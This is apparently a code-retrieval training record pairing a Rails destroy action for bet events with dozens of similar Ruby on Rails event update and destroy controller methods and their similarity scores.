[ "def patch_event\n user_id = params[\"user_id\"]\n group_id = params[\"group_id\"]\n event_id = params[\"event_id\"]\n\n #TODO Handle 404 if event not found\n event = Event.find(event_id)\n\n json_body = JSON.parse(request.body.read)\n\n @@event_service.patch_event(json_body, user_id, group_id, event_id)\n\n render status: :ok, text: \"\"\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { head :no_content }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @event.update(event_params)\n render json: @event, status: 201\n else\n render json: { message: \"Error. Error. Please try again.\"}, status: 400\n end\n end", "def update\n if @event.update(event_params(params))\n render json: @event, status: 200\n else\n render :json => @event.errors, :status => 422\n end\n end", "def update\n\tif @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n @event.update(status: \"Pending\")\n else\n @reopen = true\n format.json { render json: @event.errors, status: :unprocessable_entity }\n format.html { render :show }\n end\n end\n end", "def update\n respond_to do |format|\n if @base_event.update(base_event_params)\n format.json { head :no_content }\n else\n format.json { render json: @base_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n return forbidden unless user_is_owner\n return bad_request unless @event.update_attributes(event_params)\n render json: @event, status: :ok\n end", "def update\n respond_to do |format|\n if @bid_event.update(bid_event_params)\n format.html { redirect_to @bid_event, notice: 'Bid event was successfully updated.' }\n format.json { render :show, status: :ok, location: @bid_event }\n else\n format.html { render :edit }\n format.json { render json: @bid_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @event.update(event_params)\n render json: { location: format_event(@event) }\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def pupdate\n @event = Event.find(params[:id])\n respond_to do |format|\n if @event.update_attributes(JSON.parse(params[:event]))\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n# @event.update_eventbrite_event(event_params)\n\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(params[:event])\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n \n @event = Event.find(params[:id])\n\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: t(:event_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n \n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render json: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n #@event.status = \"Pending\"\n\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, success: 'Event was successfully rescheduled.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n set_event_unique_active @event if @event.active\n format.html { redirect_to team_events_url, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: team_events_url }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @event.update(event_params)\n \tdata = { data: @event, status: :ok, message: \"Event was successfully updated.\" }\n render :json => data\n else\n \tdata = { data: @event.errors, status: :unprocessable_entity }\n render :json => data\n end\n end", "def update\n @event = Event.using(:shard_one).find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n\n\n\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html {redirect_to @event, notice: 'Event was successfully updated.'}\n format.json {head :no_content}\n else\n format.html {render action: 'edit'}\n format.json {render json: @event.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n #@event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n @event.save!\n end\n end", "def update\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html do\n gflash :notice\n redirect_to @event\n end\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event_event = Event::Event.find(params[:id])\n\n respond_to do |format|\n if @event_event.update_attributes(params[:event_event])\n format.html { redirect_to @event_event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event_request = EventRequest.find(params[:id])\n\n respond_to do |format|\n if @event_request.update_attributes(params[:event_request])\n format.html { redirect_to @event_request, notice: 'Event request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #require \"pry\"; binding.pry\n\n update_users\n\n respond_to do |format|\n if @event.update(event_params)\n sync_update @event\n format.html { redirect_to @event, notice: t(\"successfully_updated\", :model => t(\"models.event\")) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to organization_event_url(@event.organization, @event), notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = @current_account.events.find(params[:id])\n \n params[:event] = convert_datetimes( params[:event] )\n \n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @event.update(event_params)\n\n format.html { redirect_to @event }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update Fenix::Store::Converter::Flattener.event params[:event]\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n debugger\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n\n\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to '/', notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @myevent = Myevent.find(params[:id])\n\n respond_to do |format|\n if @myevent.update_attributes(params[:myevent])\n format.html { redirect_to @myevent, notice: 'Myevent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @myevent.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @event.update(event_params)\r\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @event.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n if @event.update(event_params)\n render :show, status: :ok, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n if @event.update(event_params)\n render :show, status: :ok, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n event_id = params[:id]\n if event_id.present? && params[:event].present? && @user.uuid.present? && @user.uuid != \"guest\"\n event_params = params[:event]\n @event = Com::Nbos::Events::Event.where(id: params[:id], user_id: @user.id ).first\n if @event.present?\n @event.update(event_params.permit!)\n if @event.save\n render :json => @event\n else\n data = add_error_messages(@event)\n render :json => data\n end\n else\n render :json => {\"messageCode\": \"module.user.unauthorized\", \"message\": \"Unauthorized to update others Event\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.js { render :refresh, status: :created, location: [@team, @event] }\n else\n format.js { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to animal_events_path, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: \"l'évenement a bien été modifié.\" }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\nend", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @event.update(event_params)\r\n end", "def update\n respond_to do |format|\n if @bom_event.update(bom_event_params)\n format.html { redirect_to @bom_event, notice: 'Bom event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bom_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event}\n flash[:success] = \"Event was successfully updated.\"\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if params[:commit]==\"Approve Event\"\n @event.is_approved = true\n end\n if @event.update(event_params)\n \n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find params[:id]\n @event.update event_params\n #@event.save\n redirect_to events_path\n # render :json => {:status => 'ok'}\n # respond_to do |format|\n # if @event.update(event_params)\n # format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n # format.json { render :show, status: :ok, location: @event }\n # else\n # format.html { render :edit }\n # format.json { render json: @event.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n # イベントのステータスで落選に変更されたら、企業のステータスを選考済みに変更\n if @event.is_passed == 'droped'\n company = Company.find(@event.company_id)\n company.is_active = false\n company.save\n end\n format.html { redirect_to @event, notice: \"イベントの更新に成功しました。\" }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event.update(event_params) \n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to events_path, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: events_path(@event) }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to events_event_path(@event), notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { redirect_to @event }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7076487", "0.6926341", "0.68976146", "0.6865526", "0.6835411", "0.6821394", "0.6795086", "0.67627156", "0.6704636", "0.6699893", "0.6676711", "0.66736054", "0.66615593", "0.6650696", "0.6631071", "0.6631071", "0.6621161", "0.6618187", "0.66080695", "0.66080695", "0.6586594", "0.6560384", "0.6536199", "0.65315485", "0.6511989", "0.65105057", "0.6510141", "0.64972293", "0.6485768", "0.6485768", "0.6485768", "0.6485768", "0.6485768", "0.6485768", "0.6485768", "0.6485768", "0.6485768", "0.6472971", "0.6465625", "0.64650756", "0.64444107", "0.6443212", "0.64379054", "0.64377207", "0.64376354", "0.6435867", "0.6435867", "0.6435867", "0.64311266", "0.64287", "0.64255726", "0.6417614", "0.6410924", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6410847", "0.6403422", "0.64023453", "0.64023453", "0.6401383", "0.63890016", "0.63874537", "0.63860005", "0.6384956", "0.6384956", "0.6384956", "0.6384956", "0.6384956", "0.6384956", "0.6384956", "0.6384956", "0.6372919", "0.636253", "0.63606715", "0.6358601", "0.63541925", "0.6349496", "0.6349496", "0.63451445", "0.63409877", "0.633592", "0.63325876", "0.6326906" ]
0.7362955
0
DELETE /bet_events/1 DELETE /bet_events/1.json
def destroy @bet_event.destroy respond_to do |format| format.html { redirect_to bet_events_url, notice: 'Bet event was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete_event\n if params[:id]\n @e = Evento.find(params[:id]).destroy\n end\n render :json => msj = { :status => true, :message => 'ok'}\n end", "def delete_event\r\n event = Event.find_by(id: params[:eventid].to_i)\r\n if event.present?\r\n event.update(status: 3)\r\n lt_update_event_status event, 'archived'\r\n render json: SuccessResponse.new(\r\n code: 200,\r\n message: 'Event Deleted.'\r\n ), adapter: :json, status: :ok\r\n else\r\n render json: ErrorResponse.new(\r\n code: 404,\r\n message: 'Event not found!'\r\n ), adapter: :json, status: :not_found\r\n end\r\n\r\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.using(:shard_one).find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @calevent = Calevent.find(params[:id])\n @calevent.destroy\n\n respond_to do |format|\n format.html { redirect_to calevents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bom_event.destroy\n respond_to do |format|\n format.html { redirect_to bom_events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bid_event.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Bid event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n #@event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @events = Event.where(event_id: params[:id])\n @events.each.destroy\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @myevent = Myevent.find(params[:id])\n @myevent.destroy\n\n respond_to do |format|\n format.html { redirect_to myevents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event_event = Event::Event.find(params[:id])\n @event_event.destroy\n\n respond_to do |format|\n format.html { redirect_to event_events_url }\n format.json { head :ok }\n end\n end", "def destroy\n # @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n \n 